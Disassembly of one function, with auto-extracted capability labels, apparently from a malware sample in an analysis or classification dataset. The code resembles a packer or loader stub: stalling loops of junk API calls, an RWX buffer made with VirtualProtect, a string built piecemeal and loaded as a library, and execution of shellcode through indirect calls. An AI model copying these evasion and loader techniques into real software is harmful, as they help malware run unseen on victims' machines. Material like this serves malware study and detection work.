Function at 0x4a8810
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Identify system language via api
Manipulate console buffer
Move file
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
push 0xffffffffffffffff
push 0x4a9a0c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov eax, 0x2630
call fcn.004133d0
push ebx
mov ebx, dword [esp + 0x30]
push ebp
mov ebp, dword [esp + 0xfc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2d19c
jge 0x4a8861
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0x835100], 0x6fb
jne 0x4a8879
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa0a
jle 0x4a8891
cmp ebx, 0xc10b3a
je 0x4a8891
cmp ebp, 0x9514f0c
jne 0x4a889a
inc esi
cmp esi, 0x83358
jl 0x4a884f
cmp dword [0x835100], 0xcf8
jne 0x4a8a41
push 0
call fcn.00407a49
add esp, 4
xor ebp, ebp
push ebp
push ebp
call fcn.0040790d
add esp, 8
lea eax, [esp + 0x50]
push eax
call fcn.00405910
fldz
sub esp, 0x10
fst qword [esp + 8]
fstp qword [esp]
call fcn.00407b10
fstp st(0)
push ebp
push ebp
call fcn.00407a09
push ebp
push ebp
call fcn.00407a09
push ebp
call fcn.00407b48
add esp, 0x24
push ebp
call fcn.00407c2e
add esp, 4
push ebp
push ebp
push ebp
push ebp
push ebp
call fcn.00407608
mov edx, dword [esp + 0x64]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xbc]
add esp, 0x14
mov dword [esp + 0x44], ecx
mov dword [esp + eax + 0x50], 0x4044c4
mov dword [esp + 0x267c], ebp
test byte [esp + 0xa0], 1
lea ecx, [esp + 0x60]
mov dword [esp + 0x48], ecx
mov dword [esp + 0x60], 0x404484
je 0x4a8954
mov edx, dword [esp + 0x70]
mov eax, dword [edx]
push eax
call fcn.00407b3d
add esp, 4
mov eax, dword [esp + 0x70]
mov dword [eax], ebp
mov ecx, dword [esp + 0x80]
mov dword [ecx], ebp
mov edx, dword [esp + 0x90]
mov dword [edx], ebp
mov eax, dword [esp + 0x74]
mov dword [eax], ebp
mov ecx, dword [esp + 0x84]
mov dword [ecx], ebp
mov edx, dword [esp + 0x94]
mov dword [edx], ebp
and dword [esp + 0xa0], 0xfffffffe
mov dword [esp + 0x9c], ebp
mov dword [esp + 0x60], 0x40443c
mov byte [esp + 0x267c], 1
mov eax, dword [esp + 0x98]
mov ebx, eax
cmp eax, ebp
je 0x4a89fb
mov edi, dword [eax]
cmp edi, ebp
je 0x4a89f2
push ebp
lea ecx, [esp + 0x40]
call fcn.00406da2
mov eax, dword [edi + 4]
cmp eax, ebp
jbe 0x4a89d0
cmp eax, 0xffffffff
jae 0x4a89d0
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x3c]
and esi, edi
call fcn.00406dca
cmp esi, ebp
je 0x4a89f2
mov eax, dword [esi]
mov edx, dword [eax]
push 1
mov ecx, esi
call edx
push ebx
call fcn.00407b3d
add esp, 4
lea ecx, [esp + 0x64]
mov byte [esp + 0x267c], 0
call fcn.00406dfb
mov dword [esp + 0x267c], 0xffffffff
mov eax, dword [esp + 0x50]
mov ecx, dword [eax + 4]
lea edx, [esp + 0xa8]
mov dword [esp + ecx + 0x50], 0x40447c
push edx
mov dword [esp + 0xac], 0x40442c
call fcn.004069ae
add esp, 4
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor esi, esi
cmp esi, 0x408
jne 0x4a8a5c
mov eax, 0x5d1
add dword [0x835100], eax
cmp dword [0x835100], 3
jne 0x4a8a73
push 0
push 0
lea eax, [esp + 0x248]
push eax
call edi
inc esi
cmp esi, 0x1518d4
jl 0x4a8a49
mov ecx, dword [0x835100]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4b5164], eax
mov eax, dword [0x835100]
xor esi, esi
test eax, eax
je 0x4a8ac9
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
call fcn.004a8390
cmp dword [0x835100], 0x29
jne 0x4a8abf
push 0
push 0
lea edx, [esp + 0x248]
push edx
push 0
call edi
mov eax, dword [0x835100]
inc esi
cmp esi, eax
jb 0x4a8aa1
cmp eax, 0x70
jne 0x4a8b9b
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
call esi
push 0
push 0x404180
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x240]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea ecx, [esp + 0x1644]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
lea edx, [esp + 0x644]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
push 0
push 0
lea eax, [esp + 0xe48]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
mov dword [esp + 0x3c], 0x9682ab
jmp 0x4a8bc0
cmp dword [0x835100], 3
jne 0x4a8bed
push 0x40418c
push 0
lea ecx, [esp + 0x648]
push ecx
push 0x4041ac
push 0x4041c4
push 0x404200
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [0x835100], 0xdf
jne 0x4a8d04
push 0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x48]
push ecx
push edx
push edx
lea eax, [esp + 0xe4c]
push eax
push edx
mov dword [esp + 0x58], edx
call ebp
lea ecx, [esp + 0x4c]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x40]
push edx
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0x40421c
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0
push 0x404248
push 0x404290
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
lea eax, [esp + 0xf0]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
push 0
push 0
lea ecx, [esp + 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
lea edx, [esp + 0x1644]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [esp + 0x640]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec dword [esp + 0x3c]
jne 0x4a8bc0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
lea esp, [esp]
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x4a8d20
mov edx, dword [0x835100]
mov eax, dword [0x4b5164]
lea ecx, [esp + 0x40]
push ecx
push 0x40
push edx
push eax
mov byte [0x4b03d0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004a8630
mov eax, 0
add dword [0x4b5164], eax
push 0x4b03d0
mov dword [0x4b03d2], 0x33676d69
mov word [0x4b03d0], 0x736d
mov dword [0x4b03d8], 0x6c6c64
mov word [0x4b03d6], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x835100], 0xc30
jne 0x4a8e55
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 0x240]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea edx, [esp + 0x44]
push edx
push esi
lea eax, [esp + 0x64c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x404314
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push esi
lea ecx, [esp + 0x1644]
push ecx
push 0x404320
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push esi
lea edx, [esp + 0xe44]
push edx
push 0x404340
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push esi
lea eax, [esp + 0x1e44]
push eax
push 0x4043f8
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea ecx, [esp + 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x40]
push esi
push esi
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov ecx, dword [esp + 0x2674]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret